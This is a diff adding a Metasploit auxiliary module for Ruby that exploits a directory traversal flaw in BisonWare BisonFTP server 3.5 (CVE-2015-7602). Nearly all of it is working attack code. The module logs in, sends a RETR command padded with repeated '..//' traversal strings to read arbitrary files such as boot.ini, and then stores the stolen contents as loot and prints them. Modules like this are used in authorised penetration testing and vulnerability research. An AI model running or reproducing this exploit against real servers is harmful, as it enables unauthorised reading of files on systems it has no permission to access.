|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::Ftp |
| 11 | + include Msf::Auxiliary::Report |
| 12 | + include Msf::Auxiliary::Scanner |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'BisonWare BisonFTP Server Directory Traversal Information Disclosure', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server |
| 19 | + version 3.5. This vulnerability allows an attacker to download arbitrary files from the server |
| 20 | + by crafting a RETR command including file system traversal strings such as '..//.' |
| 21 | + }, |
| 22 | + 'Platform' => 'win', |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'Jay Turla <@shipcod3>', # msf and initial discovery |
| 26 | + 'James Fitts', |
| 27 | + 'Brad Wolfe' #brad.wolfe[at]gmail.com |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + [ 'EDB', '38341'], |
| 33 | + [ 'CVE', '2015-7602'] |
| 34 | + ], |
| 35 | + 'DisclosureDate' => 'Sep 28 2015')) |
| 36 | + |
| 37 | + register_options( |
| 38 | + [ |
| 39 | + OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) |
| 40 | + ], self.class) |
| 41 | + |
| 42 | + end |
| 43 | + |
| 44 | + def check |
| 45 | + connect |
| 46 | + disconnect |
| 47 | + if (banner =~ /BisonWare BisonFTP server product V3.5/) |
| 48 | + return Exploit::CheckCode::Vulnerable |
| 49 | + else |
| 50 | + return Exploit::CheckCode::Safe |
| 51 | + end |
| 52 | + end |
| 53 | + |
| 54 | + def run_host(target_host) |
| 55 | + begin |
| 56 | + connect_login |
| 57 | + sock = data_connect |
| 58 | + |
| 59 | + file_path = datastore['PATH'] |
| 60 | + file = ::File.basename(file_path) |
| 61 | + |
| 62 | + # make RETR request and store server response message... |
| 63 | + retr_cmd = ( "..//" * 32 ) + "#{file_path}" |
| 64 | + res = send_cmd( ["RETR", retr_cmd]) |
| 65 | + |
| 66 | + # read the file data from the socket that we opened |
| 67 | + response_data = sock.read(1024) |
| 68 | + |
| 69 | + if response_data.length == 0 |
| 70 | + print_status("File (#{file_path})from #{peer} is empty...") |
| 71 | + return |
| 72 | + end |
| 73 | + |
| 74 | + # store file data to loot |
| 75 | + loot_file = store_loot("bisonware.ftp.data", "text",rhost,response_data, file, file_path) |
| 76 | + print_status("Stored #{file_path} to #{loot_file}") |
| 77 | + |
| 78 | + # Read and print the data from the loot file. |
| 79 | + info_disclosure = IO.read(loot_file) |
| 80 | + print_status("Printing contents of #{file_path}") |
| 81 | + print_good("Result:\n #{info_disclosure}") |
| 82 | + |
| 83 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout |
| 84 | + rescue ::Timeout::Error, ::Errno::EPIPE |
| 85 | + ensure |
| 86 | + data_disconnect |
| 87 | + disconnect |
| 88 | + end |
| 89 | + end |
| 90 | +end |
0 commit comments